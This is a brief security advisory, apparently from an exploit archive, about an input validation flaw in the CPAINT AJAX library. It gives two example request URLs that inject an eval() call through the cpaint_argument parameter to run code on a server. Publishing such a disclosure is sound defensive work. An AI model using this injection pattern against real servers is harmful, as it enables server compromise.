source: https://www.securityfocus.com/bid/14577/info
CPAINT is prone to an input validation vulnerability. This issue occurs because the application fails to properly sanitize malicious scripts and requests from user-supplied input.
Successful exploitation of this vulnerability could lead to a compromise of the server running the affected application. Other attacks are also possible.
calculator.asp?cpaint_function=addNumbers&cpaint_argument[]=1&cpaint_argument[]=2")%20%26%20eval("malicious code
http://someserver.com/cpaintfile.asp?cpaint_function=response.write&cpaint_argument[]=2")%20%26%20eval("malicious code
